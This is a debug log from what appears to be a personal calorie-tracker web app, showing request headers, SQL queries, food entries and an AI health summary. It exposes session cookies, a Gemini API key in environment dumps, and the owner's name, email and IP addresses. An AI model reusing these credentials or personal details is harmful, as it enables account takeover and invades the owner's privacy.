    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A1gPePSrbAE%2BwJIGAQA%2BRuw%3D%3D.xwStsJ30ZCdgqgPRaVOjQIwDWVGMhODEGmgKlqcrvHww3qzWq%2FtsEcylNt8aNsPR3ZfUiAJfMWk%2F5FNvb6pfhPbZfQTWH8vSJORXTCFmrxcXeRiEvC7nKI48eMvPiLxbMzEn0HQyKa%2FQHunfkgQs3R%2B6EkWECGklFDLirBZ752Q%3D.gRm1H2FtgeZRuNgzcxdHda1Li9vU6jg6hdnRrSYQgMM; your_r_git.sid=s%3A3QwrUCdis9i5OCmJnLs6K1BpcQvDIfb-.oXRIE93YJeeAJsGsrnGJA6oUbDg%2Fa%2F1TrdYX6XFlyvo',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-17T04:32:41.753Z server-connect:app Executing action step identify
2025-12-17T04:32:41.753Z server-connect:app options: { provider: 'security' }
2025-12-17T04:32:41.753Z server-connect:output identity: 1
2025-12-17T04:32:42.106Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-17T04:32:42.106Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-17T04:32:42.108Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-17T04:32:42.108Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-17T04:32:42.108Z server-connect:app Executing action step identify
2025-12-17T04:32:42.108Z server-connect:app options: { provider: 'security' }
2025-12-17T04:32:42.108Z server-connect:output identity: 1
2025-12-17T04:32:42.109Z server-connect:app Executing action step restrict
2025-12-17T04:32:42.109Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T04:32:42.109Z server-connect:app Executing action step identify
2025-12-17T04:32:42.109Z server-connect:app options: { provider: 'security' }
2025-12-17T04:32:42.110Z server-connect:output identity: 1
2025-12-17T04:32:42.110Z server-connect:app Executing action step restrict
2025-12-17T04:32:42.110Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T04:32:42.110Z server-connect:output restrict: undefined
2025-12-17T04:32:42.110Z server-connect:app Executing action step single
2025-12-17T04:32:42.110Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-17T04:32:42.110Z server-connect:output restrict: undefined
2025-12-17T04:32:42.110Z server-connect:app Executing action step select
2025-12-17T04:32:42.110Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-17T04:32:42.111Z server-connect:app Executing action step identify
2025-12-17T04:32:42.111Z server-connect:app options: { provider: 'security' }
2025-12-17T04:32:42.111Z server-connect:output identity: 1
2025-12-17T04:32:42.111Z server-connect:app Executing action step restrict
2025-12-17T04:32:42.111Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T04:32:42.111Z server-connect:app Executing action step identify
2025-12-17T04:32:42.111Z server-connect:app options: { provider: 'security' }
2025-12-17T04:32:42.111Z server-connect:output identity: 1
2025-12-17T04:32:42.111Z server-connect:app Executing action step restrict
2025-12-17T04:32:42.111Z server-connect:app options: { provider: 'security' }
2025-12-17T04:32:42.111Z server-connect:output restrict: undefined
2025-12-17T04:32:42.111Z server-connect:app Executing action step single
2025-12-17T04:32:42.111Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-17T04:32:42.112Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-17T04:32:42.112Z server-connect:output restrict: undefined
2025-12-17T04:32:42.112Z server-connect:app Executing action step single
2025-12-17T04:32:42.113Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-17T04:32:42.114Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-17T04:32:42.115Z server-connect:output summary: {
  summary: {
    rating: 3,
    summary: "The day's nutrition appears to be focused on post-workout recovery with a protein supplement. However, the overall dietary intake seems very limited, with few food items listed. Continued adherence to this pattern may hinder muscle development and optimal fat loss.",
    bad_points: [
      'Very limited food variety and quantity, suggesting low overall nutrient intake.',
      'Lack of substantial meals to support energy levels and muscle repair.',
      'No clear indication of a balanced macronutrient profile across the day.',
      'Meal timing is not comprehensively represented.'
    ],
    good_points: [
      'Post-workout protein intake is addressed with whey.',
      'Inclusion of healthy fats from walnuts.'
    ],
    suggestions: [
      'Incorporate a variety of protein sources throughout the day, including lean meats, fish, legumes, and dairy.',
      'Ensure adequate intake of complex carbohydrates from whole grains, fruits, and vegetables to fuel workouts and aid recovery.',
      'Include sources of fiber and micronutrients through a wider range of plant-based foods.',
      'Distribute meals and snacks more evenly to maintain consistent energy and support muscle protein synthesis.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'steady slight loss'
  },
  date: '2025-12-16T18:30:00.000Z'
}
2025-12-17T04:32:42.116Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-17T04:32:42.116Z server-connect:app Executing action step select
2025-12-17T04:32:42.116Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-17T04:32:42.117Z server-connect:output item_list: [
  {
    id: 417,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Walnuts',
    calories: 98,
    protein_gm: 2,
    carbs_gm: 2,
    fat_gm: 10,
    quantity: '2 full walnuts (approx 15g edible portion)',
    replacements: 'Almonds (slightly fewer calories per serving, different fatty acid profile),Pistachios (lower calorie and fat than walnuts),Chia seeds (different fat profile, less dense calories)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats (omega-3s), antioxidants, and some protein. Highly beneficial for overall health, brain function, and muscle recovery, directly supporting muscle development goals.'
  },
  {
    id: 418,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 5,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 scoop (6.5g)',
    replacements: 'Black coffee (for caffeine without fillers),Green tea (natural energy and antioxidants),Standalone creatine or beta-alanine (if specific ingredients are targeted)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 2,
    skip_reason: "Primarily a performance enhancer, not a significant nutritional source of macros. It can be beneficial for intense early morning workouts to improve focus and energy, but it's not essential and can be skipped if you are sensitive to stimulants or don't require the extra boost."
  },
  {
    id: 419,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 99,
    protein_gm: 20,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (26g)',
    replacements: 'Casein protein (slower digestion, good for sustained release),Plant-based protein powders (e.g., pea, rice, soy protein),Whole food protein sources like egg whites, Greek yogurt, or lean chicken breast (though these are not powder alternatives)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent, fast-digesting protein source crucial for muscle repair, growth, and recovery, especially after early morning gym sessions. It directly supports your muscle development goal by providing essential amino acids efficiently.'
  },
  {
    id: 420,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Banana',
    calories: 89,
    protein_gm: 1,
    carbs_gm: 23,
    fat_gm: 0,
    quantity: '1 (approx 100g edible portion, medium size)',
    replacements: 'Berries (e.g., strawberries, blueberries) - lower sugar, higher fiber,Apple - slightly lower calories, good fiber,Cucumber slices - very low calorie, hydrating (different type of snack, but significantly lower calorie)',
    created_at: '2025-12-16T23:02:32.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of easily digestible carbohydrates for quick energy, especially beneficial for pre or post-workout fuel due to your 5x gym routine. Provides essential potassium for muscle function and recovery. Fits well with muscle development goals.'
  }
]
2025-12-17T04:32:42.117Z server-connect:app Executing action step setvalue
2025-12-17T04:32:42.117Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-17T04:32:42.117Z server-connect:output var_total: 291
2025-12-17T04:32:42.117Z server-connect:app Executing action step setvalue
2025-12-17T04:32:42.117Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-17T04:32:42.117Z server-connect:output var_consumed: 12
2025-12-17T04:32:42.117Z server-connect:app Executing action step setvalue
2025-12-17T04:32:42.117Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-17T04:32:42.117Z server-connect:output var_deficit: 2109
2025-12-17T04:32:42.117Z server-connect:app Executing action step custom
2025-12-17T04:32:42.117Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-17T04:32:42.118Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '291',
    surplus_or_deficit: '2109',
    status_flag: 2
  }
]
2025-12-17T04:32:42.926Z server-connect:app Executing action step identify
2025-12-17T04:32:42.926Z server-connect:app options: { provider: 'security' }
2025-12-17T04:32:42.926Z server-connect:output identity: 1
2025-12-17T04:32:48.832Z server-connect:app Executing action step identify
2025-12-17T04:32:48.832Z server-connect:app options: { provider: 'security' }
2025-12-17T04:32:48.832Z server-connect:output identity: 1
2025-12-17T04:39:49.092Z server-connect:router Serving templateView /
2025-12-17T04:39:49.093Z server-connect:app Executing action step identify
2025-12-17T04:39:49.093Z server-connect:app options: { provider: 'security' }
2025-12-17T04:39:49.093Z server-connect:auth No login cookie found
2025-12-17T04:39:49.093Z server-connect:output identity: false
2025-12-17T04:39:49.093Z server-connect:app Executing action step restrict
2025-12-17T04:39:49.093Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T04:39:49.093Z server-connect:output restrict: undefined
2025-12-17T04:39:49.440Z server-connect:router Serving templateView /login
2025-12-17T04:39:49.440Z server-connect:app Executing action step identify
2025-12-17T04:39:49.441Z server-connect:app options: { provider: 'security' }
2025-12-17T04:39:49.441Z server-connect:auth No login cookie found
2025-12-17T04:39:49.441Z server-connect:output identity: false
2025-12-17T04:39:49.441Z server-connect:router Render template layouts/authentication
2025-12-17T04:39:49.441Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.5',
    'accept-encoding': 'gzip',
    connection: 'keep-alive',
    'upgrade-insecure-requests': '1',
    'sec-fetch-dest': 'document',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'none',
    'sec-fetch-user': '?1',
    priority: 'u=0, i',
    'x-forwarded-for': '146.190.241.151',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-18T04:39:49.440Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '146.190.241.151',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-USER': '?1',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '146.190.241.151',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
2025-12-17T04:39:50.325Z server-connect:router Serving templateView /
2025-12-17T04:39:50.325Z server-connect:app Executing action step identify
2025-12-17T04:39:50.325Z server-connect:app options: { provider: 'security' }
2025-12-17T04:39:50.325Z server-connect:auth No login cookie found
2025-12-17T04:39:50.325Z server-connect:output identity: false
2025-12-17T04:39:50.325Z server-connect:app Executing action step restrict
2025-12-17T04:39:50.325Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T04:39:50.326Z server-connect:output restrict: undefined
2025-12-17T04:39:53.350Z server-connect:router Serving templateView /login
2025-12-17T04:39:53.350Z server-connect:app Executing action step identify
2025-12-17T04:39:53.350Z server-connect:app options: { provider: 'security' }
2025-12-17T04:39:53.350Z server-connect:auth No login cookie found
2025-12-17T04:39:53.350Z server-connect:output identity: false
2025-12-17T04:39:53.350Z server-connect:router Render template layouts/authentication
2025-12-17T04:39:53.350Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
